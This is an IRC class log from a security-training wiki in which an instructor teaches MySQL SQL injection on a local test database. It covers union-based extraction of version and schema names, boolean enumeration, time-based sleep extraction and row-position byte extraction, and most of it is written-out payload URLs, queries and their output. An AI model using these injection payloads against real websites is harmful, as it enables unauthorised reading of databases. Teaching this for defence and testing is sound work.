Questions about this topic? Sign up to ask in the talk tab.

Classes/Logs/2012/September/25/00-02

From NetSec
Jump to: navigation, search
<hatter> k guys take five minutes before class starts to do whatever you do
<hatter> Today we're gonna cover mysql pretty exclusively
<hatter> Everyone ready?
<Spunker> ready
<hatter> Ok so 
<hatter> One thing you should do is install mysql through whatever package manager you have locally (assuming you have a linux system)
<hatter> You will need this in order to follow along.  If anyone using a binary installation wants to take a moment or two to install, say so and I will wait.
<hatter> Moving forward, lets create a test database :
<hatter> mysql> create database query_testing;
<hatter> Query OK, 1 row affected (0.00 sec)
<hatter> And then use it:
<hatter> mysql> use query_testing;
<hatter> Database changed
<hatter> Now, we'll make a small table called "category" for our testing purposes.
<hatter> mysql> create table category (id int auto_increment primary key, caption varchar(32));
<hatter> Query OK, 0 rows affected (0.15 sec)
<hatter> And insert some sample data:
<hatter> mysql> insert into category values(null,'Sql Injection');
<hatter> Query OK, 1 row affected (0.05 sec)
<hatter> mysql> insert into category values(null,'Web Exploitation');
<hatter> Query OK, 1 row affected (0.05 sec)
<hatter> If you want to make sure the data went in, just go ahead and select * from category:
<hatter> mysql> select * from category;
<hatter> +----+------------------+
<hatter> | id | caption          |
<hatter> +----+------------------+
<hatter> |  1 | Sql Injection    |
<hatter> |  2 | Web Exploitation |
<hatter> +----+------------------+
<hatter> 2 rows in set (0.00 sec)
<fxm> \G for vertical display as opposed to ; btw
<hatter> Suppose we have the url:
<hatter>   /category/1
<hatter> and its page title is Sql Injection
<hatter> That SQL query may look something like:
<hatter> mysql> select caption from category where id=1;
<hatter> +---------------+
<hatter> | caption       |
<hatter> +---------------+
<hatter> | Sql Injection |
<hatter> +---------------+
<hatter> 1 row in set (0.00 sec)
<hatter> In this particular instance, mod_rewrite or another system is in place serializing the values 
<hatter> this means we can't use the '/' character in our injections, not that we'd normally need to.
<hatter> so this really looks more like 
<hatter> select caption from category where id= $id
<hatter> when we test this for injection, 
<hatter> we may use the url:
<hatter>    /category/1 and 2 between 0 and 4
<hatter> which would translate to the following SQL query:
<hatter> mysql> select caption from category where id=1 and 2 between 0 and 4;
<hatter> +---------------+
<hatter> | caption       |
<hatter> +---------------+
<hatter> | Sql Injection |
<hatter> +---------------+
<hatter> 1 row in set (0.00 sec)
<hatter> We would use the following "false" statement to verify:
<hatter>    /category/1/ and 5 between 0 and 4
<hatter>    /category/1 and 5 between 0 and 4
<hatter> rather
<hatter> without that last /
<hatter> mysql> select caption from category where id=1 and 5 between 0 and 4;
<hatter> Empty set (0.00 sec)
<hatter> So now "Sql Injection" would be missing from the page title.
<hatter> Now, getting into exploitation, we only have 1 column here and this is not a nested statement,.
<hatter> This means that we can exploit this very easily:
<hatter> mysql> select caption from category where id=1 and 5 between 0 and 4 union select version();
<hatter> +-------------------------+
<hatter> | caption                 |
<hatter> +-------------------------+
<hatter> | 5.5.24-0ubuntu0.12.04.1 |
<hatter> My ubuntu vm
<hatter> +-------------------------+
<hatter> 1 row in set (0.01 sec)
<hatter> So
<hatter> would display that on the page
<hatter> title
<hatter> when you visted the url:
<hatter>    /category/1 and 5 between 0 and 4 union select version()
<hatter> Before we get any more advanced, are there any questions?
<Spunker> could we have done this by using 1=2 for example
<Spunker> instead of 5 between 0 and 4
<hatter> sure. you'd have to do /category/1 and 1=2 union select version()
<hatter> you could also do this by supplying an invalid id
<hatter> e.g.
<fxm> rewrites with /(\d+)/ this would not work on assuming \1|$1 is getting passed as an arg to a script doing the category translation ?
<hatter> sure. you'd have to do /category/-1 union select version()
<hatter> fxm: correct
* Who_is_Gh0st has quit (Broken pipe)
<hatter> but in some cases
<hatter> you get idiots using \w\d etc
<hatter> and sometimes its not rewrites
<fxm> lol.
<hatter> sometimes its not even apache or nginx
<hatter> its some internal bs
<hatter> so anyway
<fxm> BadBlue yo
<hatter> Moving forward, the things you want to do during information gathering are obtain the following:
<hatter> user()
<hatter> database()
<hatter> version()
<hatter> this is normally enough to proceed with the rest
<hatter> Before we proceed, lets review concat() and group_concat().
<hatter> concat() merges two columns into a single cell from the same record:
<hatter> mysql> select concat(id,caption) from category limit 1;
<hatter> +--------------------+
<hatter> | concat(id,caption) |
<hatter> +--------------------+
<hatter> | 1Sql Injection     |
<hatter> +--------------------+
<hatter> 1 row in set (0.00 sec)
<hatter> while group_concat() merges multiple records into a single cell:
<hatter> mysql> select group_concat(id,caption) from category;
<hatter> +----------------------------------+
<hatter> | group_concat(id,caption)         |
<hatter> +----------------------------------+
<hatter> | 1Sql Injection,2Web Exploitation |
<hatter> +----------------------------------+
<hatter> 1 row in set (0.00 sec)
<hatter> suppose we wanted to obtain a list of all table names and column names in the current database in readable format.
<hatter> usually we'd use "show" and "explain" or "desc", however, in this case we will use the information_schema.columns table.
<hatter> mysql> select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database();
<hatter> +-------------------------------------------+
<hatter> | group_concat(table_name,0x2e,column_name) |
<hatter> +-------------------------------------------+
<hatter> | category.id,category.caption              |
<hatter> +-------------------------------------------+
<hatter> when we used our injection, it would look something like:
<hatter> 1 row in set (0.01 sec)
<hatter> mysql> select caption from category where id=1 and 5 between 0 and 4 union select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database();
<hatter> +------------------------------+
<hatter> | caption                      |
<hatter> +------------------------------+
<hatter> | category.id,category.caption |
<hatter> +------------------------------+
<hatter> 1 row in set (0.00 sec)
<hatter> while the url would be
<hatter>  /category/1 and 5 between 0 and 4 union select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database();
<hatter> if you wanted to get
<hatter> data types with this
<hatter> you could do something like:
<hatter> mysql> select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database();+----------------------------------------------------------+
<hatter> | group_concat(table_name,0x2e,column_name,0x3a,data_type) |
<hatter> +----------------------------------------------------------+
<hatter> | category.id:int,category.caption:varchar                 |
<hatter> +----------------------------------------------------------+
<hatter> 1 row in set (0.00 sec)
<hatter> this is the easy level exploitation.  are there any questions?
<hatter> Ok, moving on
<hatter> back to true and false
<hatter> does anyone here *not* know boolean enumeration?  if so, we can cover the basics and migrate to more advanced topics and forms, if not we can skip and move ahead.
<hatter> so everyone understands this:
<hatter> mysql> select caption from category where id=1 and ascii(substring((select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1)) between 32 and 64;
<hatter> Empty set (0.01 sec)
<hatter> ?
<hatter> Okay, If so, we'll take a 15 minute  break and come back with timing attacks and single byte extraction
* codejury ([email protected]) has joined #CSIII
<hatter> ok lets come back with some single byte extraction.
<hatter> This is different than boolean enumeration because you get back the value of one byte.
<hatter> it can also be used from a partially blind and in some cases full-blind scenario.
<hatter> THe last query we went over was 
<hatter> select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where  table_schema=database()
<hatter> To select the first byte, we'll use
<hatter> select ascii(substring(select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where  table_schema=database()) from 1 for 1))
<hatter> mysql> select ascii(substring((select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1)) as substr;
<hatter> +--------+
<hatter> | substr |
<hatter> +--------+
<hatter> in this instance we get back the value '99'
<hatter> |     99 |
<hatter> +--------+
<hatter> 1 row in set (0.00 sec)
<hatter> When we sleep for this length of time:
<hatter> mysql> select caption from category where id=1 and sleep(ascii(substring((select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1))) is null;
<hatter> Empty set (1 min 39.01 sec)
<hatter> 1 minute and 39 sections = 99
<hatter> obviously this won't work in situations which have exceedingly variable latency
<hatter> There are certain ways that you can utilize this technique in certain circumstances
<hatter> lets look at this:
<hatter> mysql> select 1 union select 2 union select 3;
<hatter> +---+
<hatter> | 1 |
<hatter> +---+
<hatter> | 1 |
<hatter> | 2 |
<hatter> | 3 |
<hatter> +---+
<hatter> 3 rows in set (0.00 sec)
<hatter> mysql> select 1,2,3;
<hatter> +---+---+---+
<hatter> | 1 | 2 | 3 |
<hatter> +---+---+---+
<hatter> | 1 | 2 | 3 |
<hatter> +---+---+---+
<hatter> 1 row in set (0.00 sec)
<hatter> now
<hatter> say we had everything up to 255.  this could be in data, or may not be in data.
<hatter> I'm just going to go ahead for point of argument:
<hatter> mysql> select 99,100,101;
<hatter> +----+-----+-----+
<hatter> | 99 | 100 | 101 |
<hatter> +----+-----+-----+
<hatter> so
<hatter> mysql> select position((ascii(substring((select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1))) IN (select group_concat(99,100,101))) as pos;
<hatter> +------+
<hatter> | pos  |
<hatter> +------+
<hatter> |    1 |
<hatter> +------+
<hatter> position() and substring() are particularly useful when used in conjunction with one another.
<hatter> you can use these further if you identify a table with 255 rows.
<hatter> brb for 1s and then I'll explain
* tytaN has quit (client exited: Lost terminal)
<hatter> just to prove our concept
<hatter> I'm going to delete a row then add one
<hatter> mysql> insert into category values(null,'exploitation');
<hatter> Query OK, 1 row affected (0.05 sec)
<hatter> mysql> select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r;
<hatter> +----+------+
<hatter> | id | pos  |
<hatter> +----+------+
<hatter> |  1 |    1 |
<hatter> |  3 |    2 |
<hatter> +----+------+
<hatter> 2 rows in set (0.00 sec)
<hatter> mysql> select id from (select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r) x where pos=2;
<hatter> +----+
<hatter> | id |
<hatter> +----+
<hatter> |  3 |
<hatter> +----+
<hatter> 1 row in set (0.00 sec)
<hatter> so, you'd get a list of id's
<hatter> using boolean enumeration first, or maybe they are just in the url
<hatter> you need the first 255 of them
<hatter> many cases will only require the first 127
<hatter> mysql> select id from (select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r limit 255) x where pos=2;
<hatter> +----+
<hatter> | id |
<hatter> +----+
<hatter> |  3 |
<hatter> +----+
<hatter> 1 row in set (0.00 sec)
<hatter> now say my position 
<hatter> once our id's and the content displayed on those pages
<hatter> is known
<hatter> becomes an ascii()
<hatter> e.g.
<hatter> mysql> select id from (select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select "123") from 1 for 1));
<hatter> Empty set (0.00 sec)
<hatter> in this case it doesn't work
<hatter> because it would need 49 rowzs     
<hatter> however if we go ahead and insert them
<hatter> (1s)
<hatter> mysql> select id from (select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select "123") from 1 for 1));
<hatter> +----+
<hatter> | id |
<hatter> +----+
<hatter> | 50 |
<hatter> notice the id is 50 here and not 49 - 
<hatter> +----+
<hatter> 1 row in set (0.01 sec)
<hatter> though it is the 49th row.
<hatter> however
<hatter> say we go to 
<hatter>  /category/(select id from (select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r limit 255) x where  pos=ascii(substring((select "123") from 1 for 1)))
* lejill ([email protected]) has joined #CSIII
<hatter> mysql> select caption from category where id=(select id from (select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select "123") from 1 for 1)));
<hatter> +--------------+
<hatter> | caption      |
<hatter> +--------------+
<hatter> | exploitation |
<hatter> +--------------+
<hatter> 1 row in set (0.00 sec)
* Abnormality ([email protected]) has joined #CSIII
<hatter> now we'd know that the ascii code was 49 because"exploitation" is the caption for id 50, the 49th record in the table.
<hatter> mysql> select ascii(substring((select "123") from 1 for 1));
<hatter> +-----------------------------------------------+
<hatter> | ascii(substring((select "123") from 1 for 1)) |
<hatter> +-----------------------------------------------+
<hatter> |                                            49 |
<hatter> +-----------------------------------------------+
<hatter> 1 row in set (0.00 sec)
* Abnormality ([email protected]) has left #CSIII
* lejill ([email protected]) has left #CSIII
<hatter> in that example instance, we are going after the value of 123, but this can be replaced arbitrarily;
* lejill ([email protected]) has joined #CSIII
* lejill ([email protected]) has left #CSIII
* Abnormality ([email protected]) has joined #CSIII
<hatter> Your final queries may look something like:
<hatter> select caption from category where id=(select id from (select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database()) from 1 for 1)));
* Dwaan has quit (client exited: h)
<hatter> Are there any questions so far?
<hatter> This is advanced stuff, giuys
<fxm> i'm afraid to ask to go to the bathroom
<fxm> tbh
<hatter> lol
* Abnormality ([email protected]) has left #CSIII
<hatter> I'll give another 5 min break
<hatter> When you are in data discovery phase, you'd do something like:
<hatter> (select id from (select id,@r:[email protected]+1 as pos from category c join (select @r:=0) r limit 255) x where pos=$counter)
<hatter> for $counter = 0...2555
<hatter> er
<hatter> 2555
<hatter> 255
<hatter> sticky 5 key
<hatter> apparently